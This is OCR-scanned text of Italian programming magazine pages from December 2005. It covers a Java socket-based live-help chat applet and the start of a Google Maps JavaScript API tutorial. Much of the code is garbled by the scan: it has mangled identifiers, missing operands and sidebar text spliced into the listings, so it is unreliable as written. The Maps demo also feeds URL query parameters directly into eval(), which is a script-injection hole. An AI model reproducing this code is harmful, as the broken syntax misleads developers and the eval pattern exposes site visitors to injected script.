String servicelp ■■ 



(String) 
availableHosts. get(0); 



s.getOutputStream().write(Utils.padIp( 

servicelp ).getBytes()); 
availableHosts. remove(servicelp); 



dump();}} } 



inputStream. close(); 



s.closeQ; 



} while (true); 



} 



Ad ogni operazione sull'elenco degli operatori viene 
invocato il metodo dumpO, che non fa altro che 
stampare su console il contenuto della lista degli 
operatori disponibili. Questa è sostanzialmente una 
informazione di debug: 




APPLET 
ED ICONE 

L'Applet presentata 
nell'articolo fa uso di 
un metodo non 
illustrato nel testo, in 
quanto semplicemente 
di servizio. Si occupa di 
caricare le icone 
dell'applicazione 
attraverso un 
BufferedlnputStream 
che legge direttamente 
dalle risorse 
dell'Apple! 




I TUOI APPUNTI 



http://www.ioprogrammo.it 



Dicembre 2005/ 31 ► 



IOPROGRAMMO WEB T ■ Live Help in Java 




IMMACIMI 
ED APPLET 

Per leggere le immagini 
da una Applet è possi- 
bile utilizzare i metodi 
forniti da SUN. Questi 
eseguono il caricamen- 
to in modo asincrono, 
ed offrono gli 
strumenti per 
supervisionare lo stato 
di caricamento. Questo 
è dovuto al fatto che le 
Applet vivono in rete, 
che può avere tempi di 
latenza nelle risposte. 



void dump() { 


System. out.println("= = = 


="); 






System. out.println("Operatori h 


elpdesk liberi") 




System. out.println("= = = 


="); 






for (Iterator iter = availableHosts.iterator(); 

iter.hasNext(); 


){ 


String ip = (String)iter.next(); 


System. out.println(ip); 


} 






} 



Il costruttore non fa altro che lanciare la classe: 

public static void main(String[] args) throws 

IOException { 
new RegistroService(); } } 



CREAZIONE DELL'APPLET 

Passiamo ora ad analizzare come realizzare l'applet 
utilizzata dall'utente per connettersi al sistema. La 
classe LiveHelpApplet fa uso di molte classi del pac- 
kage java.io, java.net e jauax.swing, per cui saltere- 
mo la sezione degli import. Per maggiori dettagli 
consultare il codice sorgente sul CD. La classe è una 
sottoclasse di JApplet. È quindi basata sulle API 
Swing: 



/** 


* Applet di 


accesso a 


servizio di supporto 


* @author 


max 






*/ 


public class 


LiveHelpApplet 


extends JApplet { 



I campi della classe includono l'indirizzo locale, le 
icone utilizzate, le etichette e campi di testo utilizza- 
ti nell'interfaccia e gli oggetti Socket utilizzati per la 
chat: 

InetAddress locallp; 
Imagelcon disponìbilelcon; 
Imagelcon nonDisponibilelcon; 
JLabel titleLabel; 
JLabel errorLabel; 
JTextArea localTextArea; 
JTextArea remoteTextArea; 
int lastPosition = 0; 



Socket sendingSocket; 



Socket receivingSocket; 

Come forse sarà noto al lettore, le Applet hanno una 
gestione particolare del loro ciclo di vita. Questo è 
infatti controllato dal browser, in funzione dei movi- 
menti dell'utente. L'inizio di tutto non è quindi a 
carico del costruttore ma del metodo pubblico 
initO- Questo svolge una serie di operazioni: 
• ottiene l'indirizzo ip locale, per comunicarlo in 



seguito al registro operatori; 
carica le icone utilizzate nell'interfaccia utente; 
crea e configura l'interfaccia utente dell' Applet; 
avvia la socket di ricezione per la chat; 
verifica la disponibilità di un operatore per atti- 
vare anche il canale di invio della chat: 

public void init() { 
//ottiene l'indirizzo ip locale 

try { 

locallp = InetAddress. getLocalHost(); 
} catch (UnknownHostException e) { 

message("Impossibile determinare l'indirizzo 

locale", e);} 
//carica l'icona di servizio disponibile 
disponìbilelcon = createAppletImageIcon( 



"disponibile. png" 



"Servizio disponibile"); 



//carica l'icona di servizio non disponibile 
nonDisponibilelcon = createAppletImageIcon( 

"nondisponibile. png", "Servizio non disponibile"); 
//crea l'etichetta del titolo ed imposta font e icona 
Font arialGrande = new Font("Arial", Font.BOLD, 16); 
titleLabel = new JLabel("ioProgrammo LiveHelp", 
nonDisponibilelcon, SwingConstants.LEFT); 
titleLabel. setHorizontalTextPosition( 

SwingConstants.LEFT); 



titleLabel. set!conTextGap( 150); 



titleLabel. setFont( arialGrande ); 



//crea l'etichetta degli errori 



errorLabel = new JLabel(" "); 



//crea il pannello centrale con il testo ricevuto 



//ed inviato 



JPanel centralPanel = new JPanel(new BorderLayoutQ); 
localTextArea = new JTextArea(5, 30); 
remoteTextArea = new JTextArea(5, 30); 



localTextArea. setEditable(false); 



remoteTextArea.setEditable(false); 

È importante notare che viene aggiunto un gestore 
di evento al campo di testo di input, in modo che ad 
ogni pressione del tasto Invio l'ultima riga venga in- 
viata all'altro utente collegato. Questa operazione è 
svolta dal metodo sendTextRowf): 

localTextArea. addKeyListener( new KeyAdapter() { 
public void keyTyped(KeyEvent e) { 

if (e.getKeyChar() == KeyEvent.VK_ENTER) { 
sendTextRow(); } } }); 
centralPanel.add(new JScrollPane(localTextArea), 
BorderLayout. NORTH) ; 
centralPanel. add(new JScrollPane(remoteTextArea), 
BorderLayout. SOUTH); 
//crea l'interfaccia utente 
Container e = getContentPane(); 
c.setLayout(new BorderLayout()); 
c.add(titleLabel, BorderLayout. NORTH); 
c.add(errorLabel, BorderLayout. SOUTH); 



»> 32 /Dicembre 2005 



http://www.ioprogrammo.it 



Live Help in Java ■ T IOPROGRAMMO WEB 



c.add(centralPanel, BorderLayout. CENTER); 
//avvia la chat in ricezione 
avviaChatRicezione(); 

In base alla disponibOità di un operatore viene im- 
postata una icona verde o rossa, come sorta di se- 
maforo: 



} 



Il metodo che visualizza il messaggio non fa altro 
che impostare il testo in una etichetta di testo pre- 
sente sull'interfaccia utente ed eventualmente di 
stampare lo stock trace dell'eccezione. Quest'ultima 
informazione ha scopi di debug: 




//verifica la disponibilità' di un 


operatore 






//di help desk 


try { 


if (isSupportoDisponibileQ) { 


titlel_abel.setIcon( disponibilelcon ); 


} else { 


titleLabel.setIcon( nonDisponibilelcon 


);} 




} catch( Exception ex ) { 


message("Impossibile acced 


Ere al server 
LiveHelp", ex 


);} 


} 



* Visualizza un messaggio nella casella degli errori 

* e stampa i dettagli dell'eccezione 

* @param msg 

* @param ex 

J7 

void message( String msg, Throwable ex ) { 
errorLabel . setText(msg ) ; 
if (ex != nuli) { 

ex.printStackTrace();} 



Il metodo isSupportoDisponibileQ invia il proprio 
indirizzo IP al registro operatori aprendo diretta- 
mente una socket verso l'host e la porta configurati 
nella classe Utils. 

/** 

* Contatta il servizio di registro e chiede l'indirizzo 

* ip di un operatore di helpdesk 



* ©return 



@throws UnknownHostException 



@throws IOExceptìon 



7 



boolean isSupportoDisponibileQ throws 

UnknownHostException, 



IOException { 



byte[] buffer = new byte[ Utils. IP_STRING_SIZE 



//padding a 15 spazi 



String localIpString = Utils. padIp(localIp, 

getRequestChar()); 
Socket s = new Socket( Utils. serverHost, 

Utils. registroServicePort ); 
s.getOutputStream().write(localIpString.getBytes()); 
s.getInputStream().read( buffer); 

Se l'indirizzo IP ricevuto in risposta è vuoto, vuol 
dire che non esistono operatori disponibili. In tal ca- 
so l'utente vien informato con un messaggio espli- 
cativo. Diversamente, viene aperto il canale di co- 
municazione verso l'indirizzo ricevuto: 



String remoteHost = new String(buffer); 


if (remoteHost. trim().length() == 0) { 


message("Nessun operatore disponibile.' 


, nuli); 


return false; 


} else { 


avviaChatInvio( remoteHost ); 


return true; } 



PARLARE, PARLARE 

Passiamo ora ai metodi che si occupano di aprire e 
gestire la comunicazione chat tra due Applet. Questi 
metodi appartengono alla stessa classe LiveHelp- 
Applet. Il metodo avviaChatRicezioneO crea una ser- 
ver socket per leggere i dati. Crea anche un thread a 
parte, in modo che la ricezione dei dati non blocchi 
l'interfaccia utente principale. In questo modo invio 
e ricezione sono asincroni. 



* Avvia la socket server che gestirà' la ricezione dei 

* dati nella chat 

J7 

void avviaChatRicezioneO { 

try { 

//crea la socket di lettura dati 
System. out.println("LiveHelpApplet.avviaChat 

Ricezione(): in ascolto su " + getChatPort2()); 
final ServerSocket receivingServerSocket = 

new ServerSocket(getChatPort2()); 



Il thread attende la connessione dell'altra parte con 
il metodo acceptQ- Poi attiva il canale di invio, se 
questo non è già attivo. Questo è necessario per via 
del fatto che tutte le operazioni sono asincrone e 
dunque non c'è certezza di quando un utente o un 
operatore si collegano al registro. 

//avvia un thread che legge i dati in arrivo 
//e li accoda sul campo di testo di lettura 
Thread t = new Thread( new Runnable() { 
public void run() { 

tryj 

receivingSocket = 

receivingServerSocket. acceptQ; 




DISTRUGGERE 
L'APPLET 

Non è illustrato nel te- 
sto dell'articolo, ma il 
codice dell'Applet pre- 
vede anche l'implemen- 
tazione dei metodi 
stopO e destroyQ. 
Il primo viene chiamato 
quando l'Applet viene 
interrotta. Il secondo 
quando il browser 
viene chiuso. In questi 
metodi è presente 
l'indispensabile codice 
di chiusura delle socket 
di comunicazione. 



http://www.ioprogrammo.it 



Dicembre 2005/ 33 ► 



IOPROGRAMMO WEB T ■ Live Help in Java 




} catch (IOException el) { 



rea 

INTERROMPERE 
LA CHAT 

La chiusura di una delle 

due Applet in fase di 

chat comporta la 

disabilitazione del 

campo di testo che 

l'utente può digitare e 

la visualizzazione 

dell'icona del semaforo 

rosso. Questi due 

elementi, insieme ad 

un messaggio testuale, 

fanno capire all'utente 

che la connessione è 

interrotta. 



message("Errore di I/O in accept", el);} 
//avvia la possibilità' di inviare messaggi 



//nel caso non sia già' attiva 



avviaChatInvio(receivingSocket.getInetAddress() 
.getCanonicalHostl\lame()); 

A questo punto un ciclo infinito legge i dati di 
input, e fino a quando non si presenta qualche 
errore di comunicazione, produce i dati nel campo 
di testo in basso. Errori di comunicazione possono 
presentarsi ad esempio se l'altro utente chiude il 
browser. 

doj, 

tryj 

InputStream is = 
receivingSocket.getInputStream(); 
int avail = is.available(); 
byte[] buffer = new bytefavail]; 
is.read(buffer); 
if (buffer. length != && 



buffer[0] 



Utils.EOF) { 



closeQ; 



break;} 



remoteTextArea.setText(remoteTextArea 

.getXext() +new String(buffer) ); 
remoteTextArea.setCaretPosition( 



remoteTextArea.getText().length()); 



} catch ( SocketException e ) { 



closeQ; 



break; 



} catch( IOException e ) { 



message("Errore di I/O", e);} 



} while (true);} } ); 



t.start(); 



} catch (IOException e) { 



message("Impossibile mettersi in attesa di 

connessioni", e); 



} 



} 



La creazione del canale di invio è semplicemente la 
creazione di una socket. Per rendere partecipe l'u- 
tente di cosa succede, viene anche esposto un mes- 
saggio sulla finestra: 



/** 

* Avvia il canale di comunicazione con l'host 

* indicato 

* @param remoteHost 

_V 

void avviaChatInvio( String remoteHost ) { 
if (sendingSocket != nuli) {return;} 

try { 

//crea la socket di invio dati 
System. out.println("LiveHelpApplet 

.avviaChatInvio(): " + remoteHost + 



": " + getChatPortl() ); 




sendingSocket = new 


Socket( remoteHost, 

getChatPortl() ); 




message("In chat con 


" + remoteHost, nuli); 


loca ITextA rea. setEditable(true); 


} 


catch (Exception e) { 






message("Impossibile 


iniziare la sessione di 

chat", e); 


} 


} 



L'invio del testo è implementato nel metodo send- 
TextRowO, che non fa altro che ottenere lo stream 
di output e su questo scrivere la stringa come vet- 
tore di byte: 

/** 

* Invia una riga di testo all'altro endpoint 



V 



void sendTextRow() { 



String text = localTextArea.getTextQ; 

String textRow = text.substring(lastPosition); 



lastPosition = textRow. Iength(); 



try { 



System. out.println("LiveHelpApplet.sendTextRow( 
) textRow=" + textRow); 
sendingSocket. getOutputStream().write( 

textRow. getBytesQ); 



} catch (SocketException e) { 



closeQ; 



} catch (IOException e) { 



message("Impossibile inviare i dati", e); 



} 



L'applet SupportLiveHelpApplet è invece destinata 
agli operatori di help desk, ed ha piccolissime diffe- 
renze rispetto a quanto visto. 
Inoltre, l'Applet di supporto si presenta immediata- 
mente al registro, per essere censita, con una chia- 
mata nel metodo initQ. 

Si noti che questa configurazione funziona se si lan- 
ciano le due Applet sulla stessa macchina, oppure se 
le si firma e gli si concedono i diritti di accesso alle 
socket. Per default, infatti, le Applet si possono con- 
nettere in rete solo con il server da cui sono state 
scaricate. 



CONCLUSIONI 

L'implementazione qui illustrata è basilare, ma mo- 
stra un uso non banale delle socket e può dare una 
idea delle problematiche relative alla comunicazio- 
ne di rete, come la necessità di uso dei thread. 
Una versione completa di questa tipologia di appli- 
cazioni è infatti notevolmente più complessa. 

Massimiliano Bigatti 



* 34 /Dicembre 2005 



http://www.ioprogrammo.it 



Applicazioni Cartografiche ■ T IOPROGRAMMO WEB 



Le mappe di 
Google nel tuo sito 



Fra le tante API rese disponibili da Google, ne spicca una dall'utilità 
indiscutibile che consente di visualizzare una mappa geografica 
e contrassegnare i suoi punti notevoli. Vediamo come usarla 



Negli ultimi anni, molte applicazioni uti- 
lizzate per la gestione di business fanno 
uso di funzionalità cartografiche per 
poter visualizzare, a livello geografico, le più sva- 
riate informazioni. 

Un esempio tipico è quello del turismo. Molte 
agenzie offrono sul proprio sito una mappa delle 
località servite, e spesso su di essa vengono evi- 
denziati punti notevoli come alberghi, ristoranti, 
punti panoramici, monumenti e musei. Sul mer- 
cato esiste un nutrito numero di applicazioni 
che consentono la gestione di funzioni cartogra- 
fiche, un esempio è Mappoint di Microsoft che 
abbiamo trattato in un recente articolo. Fra gli 
ultimi, ma anche fra i più innovativi, ad avere 
approcciato il settore delle applicazioni di carto- 
grafia c'è Google. Il Google Maps è già diventato 
un fenomeno di costume per la quantità di fun- 
zionalità e per la qualità delle mappe esposte. In 
questo articolo mostreremo come inserire nel 
proprio sito web delle funzionalità cartografiche, 
per farlo ci appoggeremo a delle API rese dispo- 
nibili proprio da Google per interfacciarsi al pro- 



prio Google Maps. Il modello ad oggetti in que- 
stione fa uso della tecnologia JavaScript ed è di- 
sponibile all'indirizzo http://www.google.com 
lapislmapsl 



COSA CI POSSO FARE? 

Tanto per iniziare diamo uno sguardo a http:// 
maps.google.com/ e vediamo quali sono le ope- 
razioni possibili con le mappe di Google. 
Ciascuna delle funzionalità esposte in questa 
pagina è replicabile sul nostro sito tramite una 
apposita API. 

In Figura 1 sono evidenziati alcuni fra gli ele- 
menti più importanti: 

1) La barra di zoom (1), mediante la quale è 
possibile ingrandire o rimpicciolire i dettagli 
sulla mappa 

2) Le differenti possibili "viste" (2) della mappa, 
che sono: 




LI CD LI WEB 



gmaps.zip 



COME INIZIARE 



r\ 

Per poter utilizzare le 


sonale o aziendale alle 


del proprio sito web. 


registrazione vi verrà 


mappe di Google per il 


funzionalità delle 


Si tenga conto che, an- 


fornito: 


proprio sito o applica- 


mappe. 


che non avendo a di- 




zione web, occorre 


Tale chiave è valida 


sposizione un sito pub- 


1 La chiave in chiaro 


possedere un account 


solo per la specifica 


blico su Internet, è co- 


da utilizzare per po- 


Google (ad esempio. 


directory di cui si fa la 


munque possibile uti- 


ter accedere al servi- 


un account di GMail). 


richiesta. Ad esempio. 


lizzare il proprio web 


zio delle mappe 


Chi non possiede l'ac- 


se si richiede la chiave 


server personale (MS, 




count può registrarsi a 


per l'indirizzo: 


Apache o qualunque 


2 Un esempio di codi- 


partire dalla pagina 


http://www.miosito.it 


altro) utilizzando un 


ce che deve essere 


https://www.aooale.com/ 


/Gmappe. le mappe po- 


indirizzo del tipo: 


inserito all'interno 


accounts/. 


tranno solo essere uti- 


http://localhost/Gmaps 


della cartella Gmaps 


Google fornisce la pos- 


lizzate nelle pagine 


che viene comunque 


del vostro web ser- 


sibilità di generare 


che risiedono nella di- 


riconosciuto valido da 


ver e salvato come 


una chiave per accede- 


rectory "Gmappe" sot- 


Google. 


un normale file 


re dal proprio sito per- 


to la directory radice 


Una volta effettuata la 


HTML 

J 



n 




REQUISITI 



ESSSZEEEa 

(yil Conoscenze base 



di Java Script 



Editor HTML 



11=3 i^sa Rssa r.v.-.v-j 



Tempo di realizzazione 



-A 



http://www.ioprogrammo.it 



Dicembre 2005/ 35 ► 



IOPROGRAMMO WEB T 



Applicazioni Cartografiche 





<style type="text/css"> 



Fig. 1: La pagina dimostrativa delle mappe di Google 

a. Mappa: visualizzazione politica della 
mappa. 

b. Satellite: visualizza la stessa porzione di 
spazio geografica ma con prospettiva sa- 
tellitare. 

e. Ibrida: visualizza sempre la stessa porzio- 
ne di spazio geografica vista da satellite, 
ma con tracciati i principali elementi car- 
tografici politici (strade, piazze, etc). 

Molto bene. Ma come è possibile utilizzare tali 
mappe nel nostro sito? 



j^ LINK UTILI 



Di seguito trovate i 
link che vi servono per 
poter iniziare a pro- 
grammare con le map- 
pe di Google: 

• La pagina alla quale 
è possibile effettuare 
la registrazione del 
proprio account di ac- 
cesso ai servizi di Goo- 



gle: http://www,qooqle 

.com/apis/maps/siqnup 

.html 

• La home page 

http://www.google.com 
/apis/maps/ principale 
dalla quale partire per 
ricercare la documen- 
tazione necessaria sul 
modello ad oggetti 



delle Google Maps. 

In aggiunta, occorre 
poter aver accesso ad 
un web server che 
ospita un sito internet 
(quello personale ad 
esempio), oppure è 
possibile utilizare il 
web server installato 
sulla propria macchina. 



HELLO GOOGLE MAPS ! 

Per prima cosa occorre verificare che tutto fun- 
zioni. A tale scopo, iniziamo a copiare il codice 
che segue all'interno di un file HTML contenuto 
sotto la cartella Gmaps del web server. Il codice è 
esattamente quello fornitovi da Google, con una 
piccola aggiunta... 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 

Strict//EN" "http://www.w3.org/TR/xhtmll 
/DTD/xhtmll-strict.dtd"> 
<html xmlns= "http://www.w3.org/1999/xhtml" 

xmlns:v="urn:schemas-microsoft-com:vml"> 
<head> 



v\:*{ 



behavior:url(#default#VML); 



} 



</style> 



<script src=" http://maps.goog le. com/maps?file= 
api&v=l&key={Chiave}" type="text 
/Javascript" > </script> 



</head> 



<body> 



<div id = "map" style="width: 500px; height: 

400px"x/div> 



<script type="text/javascript"> 



//<![CDATA[ 



var map = new GMap( 

document.getElementById("map")); 
map.addControl(new GSmallMapControl()); 
map.centerAndZoom(new GPoint(- 122. 1419, 

37.4419), 4); 
map.openInfoWindow(map.getCenterLatLng( 

),document.createTextNode( 
"Hello Google maps!")); 

//]]> 

</script> 
</body> 
</html> 



La linea: 

< script src=" http ://maps. google. com/maps?file= 

api&v=l&key={Chiave}" type= 
"text/javascript" > </script> 

rappresenta una inclusione del codice Javascript 
che implementa il modello ad oggetti delle map- 
pe di Google. In particolare si può riconoscere il 
parametro v che indica la versione, attualmente 
la 1 relativa al parametro file il cui valore fisso è 
'API', con ovvio significato. 
Il tag <div> nel codice: 

<div id = "map" style="width: 500px; height: 

400px"x/div> 

è quello che viene utilizzato per effettuare all'in- 
terno della pagina web il rendering della mappa. 
In altri termini, la mappa viene costruita all'in- 




Fig. 2: Un esempio di mappa con baloon applicato 



* 36 /Dicembre 2005 



http://www.ioprogrammo.it 



Applicazioni Cartografiche ■ T IOPROGRAMMO WEB 



terno del tag <dii». Il valore dell'attributo id del 
tag <div>, che vale "map" nel nostro esempio, è 
assolutamente arbitrario. 

Proseguendo nel codice, all'interno del tag 
<script> troviamo il seguente codice: 

1) var map = new GMap(document.getElementById( 
"map")); 

2) map.addControl(new GSmallMapControl()); 

3) map.centerAndZoom(new GPoint(-122.1419, 

37.4419), 4); 

4) map.openInfoWindow( 
map.getCenterLatLng(),document.createTextNode( 

"Hello Google maps!")); 

La riga (1) crea una istanza della classe GMap e 
"associa" tale istanza al tag <div> con id="map". 
L'istruzione permette la creazione della mappa 
all'interno del tag <div>, con tutte le proprietà 
che verranno associate all'oggetto map appena 
creato. 

La riga (2) aggiunge alla mappa un controllo per 
la navigazione e lo zoom. 

Esistono diversi tipi possibili di controlli di 
navigazione, che descriveremo in seguito. 
La riga (3) centra la mappa nel punto di coordi- 
nate geografiche (-122.1419, 37.4419), con uno 
zoom di valore 4. 

La riga (4) crea un "ballon" ossia una finestra 
che si sovrappone alla mappa. Il metodo open- 
InfoWindow( ...) accetta due parametri in input 
che sono: la coordinata nella quale centrare il 
baloon, che nel nostro caso è il punto centrale 
della mappa - valore restituito dal metodo get- 
CenterLatLngO - e il testo da visualizzare. 
Tutte queste proprietà saranno riprese più 
avanti nella applicazione GmapDemo. 



L'APPLICAZIONE 

GMAPDEMO 

A questo punto, per seguire il resto dell'articolo, 
è assolutamente necessario avere a portata di 
mano il codice dell'applicazione GmapDemo di 
esempio. L'interfaccia della applicazione è in Fi- 
gura 3. Tutta l'applicazione consiste in due file: 
Common.js che possiede le routine principali e 
comuni ed il file GmapDemo.html che contiene 
l'interfaccia HTML, la routine principale onBo- 
dyLoad ed alcune routine specifiche per la ge- 
stione dell'interfaccia. La logica della applica- 
zione risiede tutta nella routine onBodyLoad che 
viene eseguita ad ogni caricamento della pagina. 
La onBodyLoad eseguirà i seguenti passi, come 
mostrato nella Figura 4: 

• Lettura dei parametri passati in GET ed uti- 








.".'■;.:'■.. : -.::.S'> iìtì- ■:;:■•■ 










Latitudine , Longitudine Dimensioni 




Entità. 


Min. Max. Min. Max. Larghezza Altezza 




Coordinate cenilo 


-122.143 37.442 N.A. |N.A 




Coordinate box 


-122.186 37.415 -122.100 37.469 ÌN.A. |M A 
[WjV ÌN.A. H.A. HA. 0.QSÉ Q.Q.55 




Livello zoom: 


V 








D Tinto selezionato 


(-122.156 ; 37.448) VA 







Q Qf™ 


f) O 


| Zoom|Lat.|Long. 


5 1-123.00 |37.00 Cenlra&Zoom | 


LsswvU-pCisì 


G SmallMapCtrl 


■"' SmaUZaamCtil | <~ Nessuno 1 


'" Mi-. rypsOWi 


Mappa corrente: 


Mappa Ibrida _^J t?l 


Condizione iniziali 


R,„ore |flj) 











Fig. 3: Interfaccia dell'applicazione GmapDemo 

lizzati per sapere che tipo di controlli la map- 
pa deve possedere. Tutte le volte che si clicca 
su uno dei radiobutton © o checkbox © 
oppure su uno dei pulsanti o © o ancora 
se si seleziona un nuovo tipo di mappa dalla 
lista valori ©, la pagina viene risottomessa 
passando nell'URL una serie di parametri 
che descrivono l'azione che abbiamo ese- 
guito. 

• Viene creata una istanza della mappa. Atten- 
zione che può essere creata una ed una sola 
istanza della mappa per ogni tag <div> sul 
quale la mappa viene generata. 




Lettura parametri in GET 



Creazione; Sila Mappa 



Creazione Listner della Mappa 
Initialize(Mappa) 



Impostazione proprietà mappa 
ImpostaProprietaMappa(Mappa) 



Generazione della mappa 
Rendering(Mappa) 



Aggiornamento campi di appoggio e di 

intertaccia 

SetHiddenFieldQ 

SetCampilnterfaciaQ 




G/Waps è dichiarata- 
mente compatibile con 
i seguenti browser: 



Firefox/Mozilla, 
Internet Explorer dalla 
versione 5 in su e Safari 
dalla versione 1.2 in 
avanti. 

In pratica con i browser 
che ricoprono la mag- 
gior parte del mercato. 
Esiste la possibilità di 
verificare se il browser 
è compatibile utilizzan- 
do il metodo GBrow- 
serlsCompatibleQ. 



Fig. 4: Flusso di programma dell'applicazione 
GmapDemo 



http://www.ioprogrammo.it 



Dicembre 2005/ 37 ► 



IOPROGRAMMO WEB T 



Applicazioni Cartografiche 




Vengono creati tre Listner sulla mappa, per 
permettere di catturare gli eventi: moveend, 
click e maptypechanged.. Questa fase rappre- 
senta un po' l'inizializzazione della mappa. 

Vengono impostate le proprietà che deve 
possedere la mappa, secondo i dati ricevuti in 
GET. In pratica si deve sapere: dove centrare 
la mappa, che zoom deve avere, che tipo di 
mappa deve essere (politica, satellitare o ibri- 
da), quale controllo di zoom e movimento 
deve visualizzare - se lo deve visualizzare - ed 
infine se deve mostrare o no il controllo 
GmapTypeControl. 



} 



EseguiGet(strURL); 



} 



La funzione sottomettiQ a sua volta passa i para- 
metri necessari alla funzione EseguiGet che rica- 
rica l'intera pagina ed esegue un nuovo OnLoad 
valorizzando la variabile Azione con i campi da 
sottomettere nella forma: nomecampol=valorel 
&nomecampo2=valore2. . . e utilizzando il codice 



window. location, href 



xRef + "?Inizio&" + Azione + 
"&Fine"; 



Viene effettuato il rendering della mappa, os- 
sia la mappa viene disegnata. 

Vengono impostate una serie di proprietà de- 
gli elementi grafici della interfaccia utente e 
rivalorizzati i campi di appoggio hidden della 
mappa, per rendere tutto congruente con la 
situazione appena generata. 



LA FUNZIONE 
SOTTOMETTI 

Ogni volta che richiediamo che la mappa venga 
visualizzata in modo diverso, deve essere effet- 
tuata una nuova richiesta al server e bisogna ef- 
fettuare un nuovo ren- 



OGGETTI FUniCTIOni 



Si è di solito abituati 
ad utilizzare le funzio- 
ni Javascript come ele- 
menti di programma- 
zione. È però anche 
possibile creare un og- 
getto di tipo func- 
tionO nel seguente 
modo: 

var OnClickMappa = 

function(paraml, 

param2,...){ 

Corpo della funzione } 



e referenziare tale og- 
getto all'interno della 
applicazione come un 
qualunque altro og- 
getto. Tipicamente si 
utilizza in questo mo- 
do la funzione quando 
si utilizza una metodo- 
logia di programma- 
zione ad oggetti ma si 
vuole utilizzare le fun- 
zioni, che vengono in 
questo modo viste co- 
me oggetti. 



dering della mappa. A 
tale scopo, la routine 
Sottometti (), prepara 
per prima cosa i campi 
d'appoggio nei quali 
sono registrati i valori 
dei dati da passare in 
GET, richiamando la 
routinePreparaCam- 
piHiddenQ- Ad esempio 
ogni volta che viene 
cliccato il bottone per 
centrare la mappa, vie- 
ne richiamata la funzio- 
ne Sottometti 



<input type="Button" id = "btnCenterAndZoom" 

value="Centra&Zoom" onClick= 
"Sottometti(this.id)"> 
function Sottometti(idCampo) 
{ 



var strURL 



if(idCampo! = "btn Restare") 



{ 



PreparaCampiHidden(idCampo); 



LA FUNZIONE 
ONBODYLOAD 

La lettura dei dati passati in GET e la routine on- 
BodyLoadQ sono implementati dal codice se- 
guente: 

// Lettura dati passati in get 

myArr = LeggiGetData(); 

//Routine che effettua la lettura dei dati in GET 



hid_maptipozoom 



"NoControl" 



hid_maptipocontrollo 



hid_TipoMappaSelezionata = "G_MAP_TYPE" 



hid_x_center = -122.141944; 



hid_y_center = 37.441944; 



hid_zoom 



hid_ComboIndiceTipoMappa = 0; 



// Valorizzazione dei parametri letti, che 

// diventano variabili GLOBALI all'interno dello script 



if(myArr[0]! = "") 



{ 



for(i=0;i< = (myArr. Iength-l);i++) 



{ 



var myParam = myArr[i].split(' = '); 



eval(myParam[0]+"='"+myParam[l] +"'"); 



} 



} 



function onBodyLoad() 



{ 



// Instanzio la mappa 



var myMap = new Object; 



myMap = new GMap( 

document.getElementById("map")); 
// Eseguo le operazioni comuni sulla mappa 



Initialize(myMap); 



// Definisco le caratteristiche della mappa 

(controlli e tipo visualizzazione) 



Imposta ProprietaMappa(myMap); 



// Eseguo la creazione della mappa, utilizzando i 
parametri impostati presedentemente 

var Centro = new GPoint( 

parseFloat(hid_x_center), parseFloat( 
hid_y_center)); 



strURL = PreparaURLGet(); 



var Zoom = parseInt(hid_zoom) 



»> 38 /Dicembre 2005 



http://www.ioprogrammo.it 



Applicazioni Cartografiche ■ T IOPROGRAMMO WEB 



Rendering(myMap, Centro, Zoom); 


// Reinserisco tutti i valori nei campi nascosti 


SetHiddenField(); 


// Ristabilisco i campi della interfaccia 


SetCampiInterfaccia(); 


} 



La routine LeggiGetDataQ effettua la lettura e 
parserizzazione dei dati passati nella barra degli 
indirizzi e restituisce un array myArr i cui ele- 
menti sono coppie del tipo chiave=valore dei pa- 
rametri passati in GET. 

function LeggiGetData() 

{ 
var field 1 = location. search.indexOf('?Inizio&'); 
var lenl=String('?Inizio&').length; 
var end 1 = location. search.indexOf('&Fine');; 
// Estraggo tutti i parametri in xEsegui, 
// che avrà la forma Parml=a&Parm2=b&.... 



var xEsegui=unescape( 



location. search.substring(fieldl + leni, end 1) 

).replace(/\+/gi,' '); 

// Estraggo le coppie parametro-valore e le metto 

in un array myArr 



var myArr = xEsegui.split('&'); 



return myArr; 



I valori restituiti da LeggiGetDataQ vengono valo- 
rizzati e diventano variabili globali dello script. 
La funzione OnBoadyLoad si sviluppa secondo il 
seguente schema. Per prima cosa viene creata l'i- 
stanza myMap della mappa utilizzando il relativo 
costruttore che associa l'oggetto myMap al tag 
<div> con id ="map":myMap=new GMap(docu- 
ment.getElementByld ("map")). La mappa viene 
poi inizializzata mediante la routine Initialize(). 
In questa routine, si definiscono tre Listener ri- 
spettivamente sugli eventi moveend, click e 
maptypechanged. 

II codice è il seguente: 



function Initialize(Mappa) { 



// Oggetto funzione che viene attivata sull'evento 

"moveend" della mappa 



var OnMoveendMappa = function() 



{ 



var center = Mappa. getCenterLatLngQ; 
var box = Mappa. getBoundsLatLngQ; 



var dimensioni 



Mappa. getSpanLatLng(); 



// Scrivo il valore delle coordinate del centro 
document.getElementById("l_xcentro" 

).innerHTML = center.x.toFixed(3); 
document.getElementById("l_ycentro" 

).innerHTML = center.y.toFixed(3); 



// Scrivo il valore delle coordinate dei punti al 
vertice della mappa document.getElementById( 
"2_xmin").innerHTML = box.minX.toFixed(3); 
document.getElementById("2_ymin" 

).innerHTML = box.minY.toFixed(3); 
document.getElementById("2_xmax" 

).innerHTML = box.maxX.toFixed(3); 
document.getElementById("2_ymax" 

).innerHTML = box.maxY.toFixed(3); 
// Scrivo il valore delle dimensioni del box in 

unità Lat. e Long. 
document.getElementById("3_width" 

).innerHTML = dimensioni. width.toFixed(3); 
document.getElementById("3_height" 

).innerHTML = dimensioni. height.toFixed(3); 
// Scrivo il valore dello zoom 
document.getElementById("zoom_level" 

).innerHTML = Mappa. getZoomLevelQ; 
// Salvo il valore dei dati di base in campi nascosti. 
document.getElementById("hid_x_center" 

).value = center.x; 
document.getElementById("hid_y_center" 

).value = center.y; 
document.getElementById("hid_zoom").value 
= Mappa. getZoomLevelQ; 



} 










// Oggetto fu 


izione 


che 


viene attivata sull'evento 
"click" della mappa 


var OnClickMappa = 


function(overlay, 


point) 


{ 


if(point) 


{ 



document.getElementById("x_cIick" 

).innerHTML = point. x.toFixed(3); 

document.getElementById("y_click").innerHTML 

= point. y.toFixed(3); 



} 



// Creazione del listner sugli eventi moveend e click 
GEvent.addListener( Mappa, "moveend", 

OnMoveendMappa); 
GEvent.addListener(Mappa, "click", OnClickMappa); 
// Creazione del listner sull'evento maptypechanged 
GEvent.addListener( Mappa, "maptypechanged", 

functionQ 
{ if(Mappa.getCurrentMapTypeQ = = G_MAP_TYPE) 
{ document.getElementById( 

